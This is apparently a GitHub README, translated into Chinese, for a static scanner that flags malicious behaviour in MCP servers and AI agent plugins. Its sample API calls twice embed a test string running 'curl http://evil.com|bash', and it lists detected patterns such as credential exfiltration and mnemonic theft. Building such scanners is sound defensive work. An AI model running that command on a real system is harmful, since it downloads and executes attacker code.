eltociear/skill-audit-mcp

GitHub: eltociear/skill-audit-mcp

针对 MCP 服务器和 AI agent 技能插件的静态安全扫描器,通过正则签名检测恶意代码执行、凭据外泄等 17 类攻击行为。

Stars: 5 | Forks: 1

# skill-audit-mcp [![smithery 徽章](https://smithery.ai/badge/eltociear/skill-audit-mcp)](https://smithery.ai/server/eltociear/skill-audit-mcp) [![MCP Registry](https://img.shields.io/badge/MCP_Registry-active-2da44e)](https://registry.modelcontextprotocol.io) [![Glama MCP server](https://glama.ai/mcp/servers/@eltociear/skill-audit-mcp/badges/score.svg)](https://glama.ai/mcp/servers/@eltociear/skill-audit-mcp) [![GitHub Action](https://img.shields.io/badge/GitHub%20Action-v1-blue?logo=github)](https://github.com/eltociear/skill-audit-mcp) [![Docker](https://img.shields.io/badge/ghcr.io-v1-2496ed?logo=docker)](https://github.com/eltociear/skill-audit-mcp/pkgs/container/skill-audit-mcp) [![License: MIT](https://img.shields.io/badge/license-MIT-green)](LICENSE) [![Attack patterns](https://img.shields.io/badge/attack%20patterns-17-red)](https://github.com/eltociear/skill-audit-mcp) [![Scanned](https://img.shields.io/badge/MCP%20servers%20scanned-196-blue)](https://github.com/eltociear/mcp-audit/blob/main/FINDINGS.md) ## ⚡ 30 秒试用 ``` # 选项 A:Docker(零安装,随处可用) docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work # 选项 B:Hosted API(按扫描付费,无需注册) curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}' # 选项 C:GitHub Action (CI/CD) —— 见下文 ``` ## 📡 精选收录 被 AI/安全工程师实际阅读的发现渠道交叉引用: - [punkpeye/awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) (86K★) — Security 章节 - [cline/mcp-marketplace](https://github.com/cline/mcp-marketplace) (61K★) — 策划的一键安装(审核中) - [ComposioHQ/awesome-claude-skills](https://github.com/ComposioHQ/awesome-claude-skills) (59K★) — Security & Systems - [aaif-goose/goose](https://github.com/aaif-goose/goose) (45K★) — 扩展教程文档 - [sdras/awesome-actions](https://github.com/sdras/awesome-actions) (28K★) — Security - [veggiemonk/awesome-docker](https://github.com/veggiemonk/awesome-docker) (36K★) — Security - [VoltAgent/awesome-claude-code-subagents](https://github.com/VoltAgent/awesome-claude-code-subagents) (20K★) — Quality & Security subagent - [travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills) (12K★) - [BehiSecc/awesome-claude-skills](https://github.com/BehiSecc/awesome-claude-skills) (9K★) - [yzfly/Awesome-MCP-ZH](https://github.com/yzfly/Awesome-MCP-ZH) (7K★) — 中文 🔒 安全与分析 - [tensorchord/Awesome-LLMOps](https://github.com/tensorchord/Awesome-LLMOps) (6K★) — LLM 安全框架 - [devsecops/awesome-devsecops](https://github.com/devsecops/awesome-devsecops) (5K★) — Testing - [mahseema/awesome-ai-tools](https://github.com/mahseema/awesome-ai-tools) (5K★) — 开发者工具 ## 四种使用方式: ## 1. GitHub Action (CI/CD) 添加到你的工作流中以自动扫描 PR: ``` name: MCP Security Audit on: [pull_request] jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: eltociear/skill-audit-mcp@v1 with: path: '.' fail-on: 'HIGH' ``` 通过上传 SARIF(在 GitHub Security 标签页中显示扫描结果): ``` - uses: eltociear/skill-audit-mcp@v1 with: path: '.' sarif: 'results.sarif' - uses: github/codeql-action/upload-sarif@v3 if: always() with: sarif_file: 'results.sarif' ``` ## 2. CLI (npx) ``` # 扫描文件 npx @eltociear/skill-audit-mcp --path ./server.py # 扫描目录 npx @eltociear/skill-audit-mcp --path ./mcp-servers/ # JSON 输出 npx @eltociear/skill-audit-mcp --path . --json # SARIF 输出 npx @eltociear/skill-audit-mcp --path . --sarif results.sarif # 如果发现 HIGH 或 CRITICAL 则失败 npx @eltociear/skill-audit-mcp --path . --fail-on HIGH ``` 或者全局安装: ``` npm install -g @eltociear/skill-audit-mcp mcp-audit --path ./server.py ``` ## 3. MCP Server (Claude Desktop / Cursor) 添加到你的 MCP 配置中: ``` { "skill-audit-mcp": { "type": "stdio", "command": "python3", "args": ["path/to/scanner.py"] } } ``` 然后询问 Claude:“Audit this MCP server for security issues” ## 检测内容 | 严重程度 | 模式 | |----------|----------| | 严重 | 下载并执行、凭据外泄、密钥生成、敏感目录写入、助记词窃取 | | 高危 | 外部下载、skill 安装、任意代码执行、身份验证绕过、身份冒充 | | 中危 | 未知 API 调用、数据收集、权限提升、混淆、prompt 注入 | | 低危 | 外部 URL 引用、广泛的文件系统访问 | ## 风险评分 - 0-10: 安全 - 11-25: 低危 - 26-50: 中危 - 51-75: 高危 - 76-100: 严重 ## 姊妹项目 — secrets-audit-mcp 针对**泄露的凭据和 API 密钥**(相对于此处涵盖的行为模式), 请参见 [secrets-audit-mcp](https://github.com/eltociear/secrets-audit-mcp) — 32 条提供商规则(AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / 私钥)。同样采用零依赖、 单文件 stdio MCP server 设计。 | 层级 | Server | 检测内容 | |---|---|---| | 行为 | `skill-audit-mcp`(本项目) | curl-pipe-sh, prompt 注入, 外泄 (17 种模式) | | 密钥 | `secrets-audit-mcp` | 泄露的密钥/token/PEM (32 条规则) | 同时运行两者以实现全面覆盖。 ## 4. Docker(离线,多架构) 位于 `ghcr.io/eltociear/skill-audit-mcp:v1` 的免安装扫描镜像 — 支持 `linux/amd64` + `linux/arm64`。 ``` # 扫描当前目录,如果为 HIGH 或更高则失败 docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --min-severity MEDIUM --fail-on HIGH # 获取 SARIF 以上传到 GitHub Code Scanning docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --sarif-output /work/audit.sarif ``` ## 5. 托管 API(x402 按次付费) 无需注册,无需账号。在 Base 上通过 x402 微支付为每次扫描支付 0.01 USDC:endpoint 会返回 `402` 状态码及支付挑战,你的 agent 钱包结账后,扫描便会运行。对同一路径发起 `GET` 请求可获取价格,且不会产生任何费用。 ``` curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}' # 或通过 URL: curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"url": "https://github.com/some-org/some-mcp-server"}' ``` 首次调用将返回 HTTP 402 及支付要求(x402 v2 协议)。通过 [`@bankr/cli`](https://www.npmjs.com/package/@bankr/cli) 完成结算,然后重试即可。 ## 6. pre-commit hook 添加到你的 `.pre-commit-config.yaml` 中: ``` repos: - repo: https://github.com/eltociear/skill-audit-mcp rev: v1.0.1 hooks: - id: skill-audit-mcp ``` ## 安全 在 `skill-audit-mcp` 本身发现了漏洞?请通过[安全公告](https://github.com/eltociear/skill-audit-mcp/security/advisories/new)报告 — 响应时间表请参阅 [`SECURITY.md`](SECURITY.md)。 在使用 skill-audit-mcp 时发现了**第三方 MCP server** 的漏洞?请向该项目的安全策略报告,或通过 [huntr.com](https://huntr.com) 报告。 ## License MIT ## 免费 MCP 与付费 x402 此 MCP server 是**免费的**。对于服务端 / 批量 / 免安装使用场景,相同的扫描器可作为按次付费的 **x402** HTTP API 使用:`POST https://eltociear-skill-audit.hf.space/audit`(Base 上 0.01 USDC)以及 `/audit/url`(0.03 USDC)。在官方 MCP Registry 中名为 `io.github.eltociear/skill-audit-mcp`。 ### 同时上线:clean-read($0.005 / 次) 相同的开发者,相同的 x402 基础设施:**[clean-read](https://eltociear-skill-audit.hf.space/read)** 可将任意 URL 转换为适合 AI agent 的干净 Markdown — 抓取页面,移除导航/广告/样板文件,并返回带有标题和字数的主要内容。`POST https://eltociear-skill-audit.hf.space/read` — Base 上 0.005 USDC,无需注册。
标签:AI安全, Chat Copilot, Docker, GitHub Action, MCP服务器, 图数据库, 安全防御评估, 网络信息收集, 请求拦截, 逆向工具, 静态代码扫描